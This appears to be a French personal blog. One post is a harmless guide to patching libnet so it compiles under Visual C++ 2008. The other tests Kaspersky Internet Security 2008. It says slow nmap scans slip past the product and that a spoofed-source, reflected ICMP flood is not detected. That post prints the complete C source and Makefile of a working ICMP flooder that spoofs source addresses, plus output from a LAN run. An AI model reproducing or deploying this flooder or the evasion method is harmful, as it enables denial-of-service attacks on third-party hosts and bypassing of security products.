23 août 2008

Compiler la Libnet sous Windows avec Visual C++ 2008

Si la libnet est un outil fort sympathique, elle n'est plus vraiment entretenue par son développeur principal (unique?) Mike Schiffman. La dernière version (1.1.3) est donc fournie avec les fichiers de projet pour visual C++ 2005 et ça ne compile plus sous le dernier VC++ express! (Sous Gnu/Linux et FreeBSD ça marche sans soucis par contre!)

Voici les changements à effectuer pour que la compilation puisse se faire sous Windows :


La libnet dépend de la libpcap (winpcap sous windows). Il vous faut donc installer cette dernière ainsi que le winpcap developers pack.

Dans pcap-stdinc.h : commentez les lignes :

#define snprintf _snprintf
#define vsnprintf _vsnprintf



Dans libnet.h ajoutez la ligne suivante :

#define _CRT_SECURE_NO_WARNINGS


Qui vous évitera des warnings à tout va du compilateur
Vous pouvez ajouter également cette ligne dans le fichier libnet_link_win32.c

Plus loin dans libnet.h ajoutez

#define strdup _strdup



et enfin : dans libnet_resolv.c, à la ligne 128~129, remplacez :

snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
"%s(): %s\n", __func__, hstrerror(h_errno));


par

snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
"%s(): %s\n", __func__, "");


( Il existe sans doute mieux mais bon... )

Voila, un petit F7 et c'est parti!! A la fin de la compilation, la DLL se trouve dans C:\winnt\system32.

Si vous avez des remarques pour améliorer le truc, me dire que ça marche pas, ou qu'au contraire c'est super, n'hésitez pas!

22 août 2008

Kaspersky 2008 : fun sur l'IDS et le firewall intégré

Le framework Kaspersky internet security se compose en gros d'un scanner antivirus, d'un firewall, d'un IDS et de filtres divers (antispam, antiphishing, protection des zenfants etc...) je me suis amusé à observer le comportement des modules firewall et IDS (intrusion detection system)

Détection des scans de ports et OS fingerprinting :

Là dessus Kaspersky est assez fort en ce qu'il n'annonce et ne bloque que les scans qui ont une chance de fonctionner. Ainsi le Mainmon scan (-sM sur nmap) n'est pas annoncé et traité. Kaspersky se laisse abuser par des addresses IP spoofées, qu'il ajoute à la liste des hôtes bannis pendant une durée paramétrable (60mn par défaut). On ne peut pas lui reprocher ce comportement, se fier au cache ARP du système ne serait absolument pas fiable.
Là ou ça coince déjà plus, c'est que les scans ne sont détectés que si leur activité dépasse un seuil (non paramétrable, lui). Ainsi, les scans effectués sur mon LAN, avec les options -T 0, 1 ou 2 passent sans soucis!
Kaspersky ne semble pas se laisser influencer par les options TCP.

Flood :

Dans une période d'ennui de cet après-midi tout pourri (météorologiquement du moins) j'ai écrit un petit flooder icmp. Utilisant la libnet, il se révèle reltivement efficace ( envoi de plus de 160 000 icmp echo requests par seconde ), mais surtout, permet à l'utilisateur de spécifier les adresses IP source et destination.

Son utilisation pour effectuer un icmp flood `normal` contre la machine faisant tourner Kaspersky IS 2008, avec une adresse IP source quelconque et l'IP de la cible en destination, déclenche une alerte de Kaspersky. Le flood est détecté et bloqué.
Le comportement est donc bon (bien que si l'on coupe le firewall, on se rend compte que les activités réseau et cpu de la cible ne sont pas vraiment affectées)
Par contre, si en adresse source je met celle de la cible, et en adresse de destination celle d'une machine quelconque de mon LAN :
de la manière suivante, où 192.168.1.10 est la machine visée, et 192.168.1.14 une machine quelconque (répondant aux pings...)


root@inaree:~/# ./icmpF -s 192.168.1.10 -d 192.168.1.14
Src (192.168.1.10) --> Dst (192.168.1.14)
Session ended :
1582924 packets sent
44321872 bytes sent
0 errors



Alors Kaspersky ne détecte rien, malgré la reception de milliers de ICMP ECHO REPLIES, qui modifient les charges réseau et CPU de façon similaire à un flood direct, avec firewall désactivé!!!
En effet, le flood de requêtes ICMP echo (des "pings" quoi!) se fait contre une autre machine du réseau, mais ayant spoofé l'adresse IP de la machine cible, l'identifiant comme émettrice des requêtes, les réponses lui sont renvoyées. Si l'intermédiaire est assez costaud niveau charge réseau (on peut utiliser le routeur par exemple, à nos risques et périls!), le flux de l'attaque conserve son ampleur.
J'ai pu noter également une rapidité nettement supérieure lorsque j'utilisais une carte sans fil pour mener l'attaque, la machine intermédiaire était mon routeur, qui redirigait les réponses au gros traffic reçu en WIFI vers la carte ethernet de ma machine cible.

Voila, je mettrais à jour le post si je trouve d'autre comportements bizares! En attendant voici le code du flooder, juste pour constater l'eficacité de la libnet!


/*
* file icmpF.c
*/

#include <stdio.h>
#include <signal.h>

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#include <libnet.h>


/*
* Functions prototypes
*/
void onExit( int signo );
int getAddresses( int argc, char **argv, struct in_addr * srcAddr, struct in_addr * dstAddr );
int startFlood( libnet_t * handle, const struct in_addr srcAddr, const struct in_addr dstAddr );
void craftPacket( libnet_t * handle, const struct in_addr srcAddr, const struct in_addr dstAddr );
/* ---------- -- ----------- */


unsigned char Loop = 1;


int main( int argc, char ** argv )
{
int exitValue; /* Return value */
libnet_t * handle; /* Libnet handle */
char errbuf[LIBNET_ERRBUF_SIZE]; /* Libnet error buffer */
struct in_addr srcAddr, dstAddr; /* Source and destination IPv4 addresses */

srcAddr.s_addr = 0;
dstAddr.s_addr = 0;

if ( getAddresses( argc, argv, &srcAddr, &dstAddr ) )
{
fprintf( stderr, "%s -s [ Source address ] -d [ Destination address ]\n", argv[0] );
exitValue = EXIT_FAILURE;
}
else
{
/* SIGINT (ctrl+c is used to break sending loop */
signal( SIGINT, onExit );
/* -- Starting libnet session -- */
if ( ( handle = libnet_init( LIBNET_RAW4, NULL, errbuf ) ) == NULL )
{
fprintf( stderr, "%s\n", errbuf );
exitValue = EXIT_FAILURE;
}
else
{
/* prandn generator is seeded here, then we can get pseudo random integers using our libnet handle */
libnet_seed_prand( handle );
startFlood( handle, srcAddr, dstAddr );
libnet_destroy( handle );
exitValue = EXIT_SUCCESS;
}
}

exit( exitValue );
}

void onExit( int signo )
{
Loop = 0;
}

int getAddresses( int argc, char **argv, struct in_addr * srcAddr, struct in_addr * dstAddr )
{
if ( argc != 5 )
{
return 1;
}
else
{
unsigned char flags = 0;
unsigned int i;

for ( i = 0 ; i < argc ; i++ )
{
if ( !strcmp( argv[i], "-d" ) && ( argv[i+1] != NULL ) )
{
dstAddr->s_addr = inet_addr( argv[i+1] );
flags |= 1;
}
else if ( !strcmp( argv[i], "-s" ) && ( argv[i+1] != NULL ) )
{
srcAddr->s_addr = inet_addr( argv[i+1] );
flags |= 2;
}
else
{
/* nothing to do */
}
}

if ( ! ( flags & 1 ) ) /* No destination address specified */
return 2;
if ( ! ( flags & 2 ) ) /* No source address specified */
return 3;
}

fprintf( stderr, "Src (%s) --> ", inet_ntoa( *srcAddr ) );
fprintf( stderr, "Dst (%s)\n", inet_ntoa( *dstAddr ) );

return 0;
}


int startFlood( libnet_t * handle, const struct in_addr srcAddr, const struct in_addr dstAddr )
{
struct libnet_stats sessionStats;
craftPacket( handle, srcAddr, dstAddr );

while ( Loop )
{
libnet_write( handle );
}

libnet_stats( handle, &sessionStats );
fprintf( stdout, "Session ended :\n");
fprintf( stdout, "\t%lu packets sent\n", ( unsigned long )sessionStats.packets_sent );
fprintf( stdout, "\t%lu bytes sent\n", ( unsigned long )sessionStats.bytes_written );
fprintf( stdout, "\t%lu errors\n", ( unsigned long )sessionStats.packet_errors );

return 0;
}

void craftPacket( libnet_t * handle, const struct in_addr srcAddr, const struct in_addr dstAddr )
{
unsigned long probeIcmpId = libnet_get_prand( LIBNET_PRu16 ); /* transaction ID */

libnet_build_icmpv4_echo(
ICMP_ECHO, /* ICMP type */
0, /* ICMP code */
0, /* checksum */
probeIcmpId, /* transaction ID */
0, /* Sequence number */
NULL, /* Payload buffer */
0, /* Payload size */
handle, /* libnet handler */
0 /* create new header */
);

libnet_build_ipv4(
LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H, /* Total IP packet length */
IPTOS_LOWDELAY, /* Type of service */
libnet_get_prand( LIBNET_PRu16 ), /* IP ID */
0, /* fragmentation */
64, /* Time to Live */
IPPROTO_ICMP, /* IP protocol */
0, /* IP checksum */
srcAddr.s_addr, /* local IP address */
dstAddr.s_addr, /* target IP address */
NULL, /* IP payload */
0, /* IP payload size */
handle, /* libnet session */
0 /* modify existant header */
);
}



et le Makefile :

#
# icmpf makefile
#

CC=gcc
ECHO=echo

CFLAGS=`libnet-config --cflags --defines` -O0 -g -Wall -pedantic
LDFLAGS=`libnet-config --libs`


EXEC=icmpF


.SILENT:


all: $(EXEC)


$(EXEC): icmpF.c
$(ECHO) " [CC] $@"
$(CC) $(CFLAGS) $< -o $(EXEC) $(LDFLAGS)

clean:
$(ECHO) " [Cleaning sources]"
rm -f $(EXEC) *.o \#* *~

distclean: clean